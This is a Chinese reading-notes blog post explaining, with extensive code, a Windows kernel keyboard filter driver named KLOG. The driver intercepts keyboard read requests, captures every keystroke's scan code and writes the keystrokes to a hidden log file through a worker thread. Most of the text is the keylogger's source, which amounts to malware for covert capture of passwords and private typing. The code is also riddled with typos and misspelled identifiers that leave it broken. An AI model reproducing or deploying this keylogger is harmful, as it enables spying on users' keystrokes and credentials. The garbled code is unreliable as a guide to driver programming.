读书笔记_键盘嗅探器(2)

来源:互联网 发布:什么叫云计算和大数据 编辑:程序博客网 时间:2024/05/11 12:04

为处理READ请求而调用的例程是DispatchRead。下面具体分析该函数:

NTSTAUS DispatchRead ( IN PDEVICE_OBJECT pDeviceObject, IN PIRPpIrp)

{

   当一个READ请求到达键盘控制器时,就调用该函数。这时IRP中并没有可用的数据。相反我们希望在捕获了击键动作之后查看IRP——当IRP正在沿着设备链向上传输时。

关于IRP已经完成的唯一通知方式是设置完成例程,如果没有设置完成例程,则当IRP沿着设备链上返回是会忽略我们的存在。

将IRP传递给链中次底层设备时,需要设置IRP堆栈指针(stack pointer).术语堆栈在此处容易产生误解:每个设备只是在每个IRP中有一段私有的可用内存。这些私有区域以指定顺序排列。通过IoGetCurrentIrpStackLocation和IoGetNextIrpStackLocation调用来获取这些私有区域的指针,在传递IRP之前,一个“当前”指针必须指向低层驱动程序的私有区域,因此,在调用IoCallDriver之前要调用IoCopyCurrentIrpStackLocationToNext;

// Copy parameters down to next level in the stack

// for the driver below us

IoCopyCurrentIrpStackLocationToNext(pIrp);

// Note that the completion routine is named “OnReadCompleion”:

// Set the completion callback

IoSetCompletionRoutine(pIrp,

                OnReadCompletion,

                pDeviceObject,

                 TRUE,

                 TRUE,

                 TRUE);

  将挂起的IRP数目记录下来,以便等处理完成后再卸载驱动程序

// Track the # of pending IRPs

  numPendingIrps++;

最后通过IoCallDriver将IRP传递给链中的次底层设备,记住指向低层次设备的指针存储在Device_Extension中的pKeyboardDevice中。

// Pass the IRP on down to \the driver underneath us

Return IoCallDriver(

((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)

->pKeyboardDevice, pIrp);

}// end DispatchRead

现在可以看到,每个READIRP在处理之后可用于OnReadCompletion例程中。进一步对比加以分析:

NSTATUS OnReadCompletion ( IN PDEVICE_OBJECT pDeviceObject,

                         INPRP pIrp, IN PVOID Context)

{

   // Get the device extension– we’ll need to use it later

   PDEVICE_EXTENSIONpKeyboardDeviceExtension =(PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;

检查IRP状态,它可以当作返回码或错误码,该值为STATUS_SUCCESS表明IRP已成功完成并且应该记录了击键数据。SystemBuffer成员指向KEYBOARD_INPUT_DATA结构的数组。IoStatus.Information成员包含了该数组的长度:

If(pIrp->IoStatus.Status == STATUS_SUCCESS)

{

   PKEYBOARD_INPUT_DATA keys =(PKEYBORAD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;

Int numKeys = pIrp->IoStatus.Information /sizeof(KEYBOARD_INPUT_DATA);

KEYBOARD_INPUT_DATA结构定义如下:

Typedef struct _KEYBOARD_INPUT_DATA{

USHORT UnitId;

USHORT MakeCode;

USHORT Flags;

USHORT Reserved;

ULONG ExtraInformation;

} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

然后示例程序循环遍历所有的数组成员,从每个成员中获取击键动作:

For(int I = 0; I < numkeys; i++)

{

    DbgPrint(“ScanCode: %x\n”,keys[i].MakeCode);

注意会收到两个事件:键按下和键释放。对于简单的击键监视器来说,只需关注其中一个事件,KEY_MAKE是一个重要标志。

If(keys[i].Flags == KEY_MAKE)

DbgPrint(“%s\n”, “Key Down”)l

上述完成例程在IRQL级别DISPATCH_LEVEL上执行,这意味着它不允许文件操作,为了避开这个限制,示例程序通过一个共享链表将击键动作传递给worker线程。对该链表的访问必须采用关键段来同步。内核实施以下规则:一次只能有一个线程执行关键段。此处不能使用延迟过程调用(Deferred Procedure Call, DPC),因此DPC也运行在DISPATCH_LEVEL级别上。

驱动程序分配一些NonPagedPool内存,并将扫描码放入其中,然后将其置入链表中。因为运行在DISPATCH级别上,所以只能从NonPagedPool中分配内存。

 KEY_DATA* kData =(KEY_DATA*)ExAllocatePool(NonPagedPool, sizeof(KEY_DATA));

// Fill in kData structure with info from IRP

kData->KeyData = (char)keys[i].MakeCode;

kData->KeyFlags=(char)keys[i].Flgas;

// Add the scan code to the linked list

// queue so our worker thread

// can write it out to a file

DbgPrint(“Adding IRP to work queue…”);

ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,&kData->ListEntry,

            &pKeyboardDeviceExtension->lockQueue);

// The semaphore is incremented to indicate that some data needs tobe processed

// Increment the semaphore by 1 – no WaitForXXX after this call

KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,

                        0,

                        1,

FALSE);

}

}

If(pIrp->PendingReturned)

 IoMarkIrpPending(pIrp);

 

     示例完成了对IRP的处理,将IRP计数递减

 numPendingIrps- -;

return pIrp->IoStatus.Status;

}

此时在链表中已保存了一个击键动作,它用于worker线程,下面介绍worker线程的例程:

VOID ThreadKeyLogger ( IN PVOID pContext)

{

       PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;

       PDEVICE_OBJECTpKeyboardDeviceObject = pKeyboardDeviceExtension->pKeyboardDevice;

PLIST_ENTRY pListEntry;

KEY_DATA *kData; // custom data structure used to hold scancodes inthe linked list

KLOG进入一个处理循环。代码通过KeWaitForSingleObject等待信号量。若信号量递增,则处理循环继续运行

While(true)

{

   // Wait for data to becomeavailable in the queue

KeWaitForSingleObject(

             &pKeyboardDeviceExtension->semQueue,

              Executive,

              KernelMode,

              FALSE,

              NULL);

从链表中安全删除了最高端项。注意关键段的用法:

pListEntry = ExInterlockedRemoveHeadList(

               &pKeyboardDeviceExtension->QueueListHead,

              &pKeyboardDeviceEntension->lockQueue);

内核线程不能从外部终止,它们只能终止自身。KLOG检查一个标志以判断是否应该终止worker线程。该操作应该只放生在卸载KLOG时。

If(pKeyboardDeviceExtension->bThreadTerminate == true)

{

   PsTerminateSystemThread(STATUS_SUCCESS);

}

必须使用CONTAINING_RECORD宏来获得指向pListEntry结构中数据的指针:

kData = CONTANING_RECORD(pListEntry, KEY_DATA, ListEntry);

KLOG获取扫描码并将其转换成键盘码。这通过ConvertScanCodeToKeyCode工具函数完成,该函数只识别美国英语键盘布局,尽管它很容易替换为适用于其他键盘布局的代码。

// Convert the scan code to a key code

Char keys[3] = {0};

ConvertScanCodeToKeyCode(pKeyboardDeviceExtension, kData, keys);

// Make sure the key has returned a valid code

// before writing it to the file

If (keys != 0)

{

   若文件句柄是有效的,则使用ZwWriteFile将键盘盘码写入日志:

// Write the data out to a file

If(pKeyboardDeviceExtension->hLogFile != NULL)

{

    IO_STATUS_BLOCK  io_status;

    NTSTATUS status =ZwWriteFile(

                       pKeyboardDeviceExtension->hLogFile,

                        NULL,

                        NULL,

                        NULL,

                       &io_status,

                       &keys,

                        Strlen(keys),

                        NULL,

                        NULL);

If(status != STATUS_SUCCESS)

    DbgPrint(“Writing scancode to file…\n”);

Else

    DbgPrint(“Scan code ‘%s’successfully written to file.\n”, keys);

}// end if

}// end if

}// end while

Return;

} // end ThreadLogKeyboard

以上是KLOG的主要操作。下面分析Unload例程

VOID Unload ( IN PDRIVER_OBJECT pDriverObject)

{

   // Get the pointer to thedevice extension

   PDEVICE_EXTENSIONpKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;

DbgPrint(“Driver Unload Called… \n”);

驱动程序必须使用IoDetachDevice函数取下分层设备的钩子:

// Detach from the device underneath that we’re hooked to.

IoDetachDevice(pKeyboardDeviceExtension->pKeyboardDevice);

DbgPrint(“Keyboard hook detached from device…\n”);

下面使用了一个定时器,KLOG进入一个短循环,直到所有IRP完成处理:

// Create a timer

KTIMER kTimer;

LARGE_INTEGER timeout;

Timeout.QuadPart = 1000000;

KeInitializeTimer(&kTimer);

在某个IRP正在等待击键动作,则直到按下一个键后卸载才能完成:

While(numPendingIrps > 0)

{

   // Set the timer

   KeSetTimer(&kTimer, timeout,NULL);

   KeWaitForSingleObject(

             &kTimer,

             Executive,

             KernelMode,

             False,

             NULL);

}

此时KLOG指示worker线程应该终止:

// Set our key logger worker thread to terminate

pKeyboardDeviceExtension->bThreadTerminate = true;

// Wake up the thread if its blocked & WaitForXXX after thiscall

KeReleaseSemaphore(

           &pKeyboardDeviceExtension->semQueue,

            0,

            1,

            TRUE);

KLOG使用线程指针调用KeWaitForSingleObject, 一直等候到该线程已终止:

// Wait until the worker thread terminates

DbgPrint(“Waiting for key logger thread to terminate…\n”);

KeWaitForSingleObject(pKeyboardDeviceExtension->pThreadObj,

                    Executive,

                   KernelMode,

                    False,NULL);

DbgPrint(“Key logger thread terminated\n”);

最后关闭日志文件:

// close the log file

ZwClose(pKeyboardDeviceExtension->hLogFile);

还执行一些适当的常规清理动作:

// Delete the device

IoDeleteDevice(pDriverObject->DeviceObject);

DbgPrint(“Tagged IRPs dead … Terminating ...\n”);

Return;

}

键盘嗅探器结束。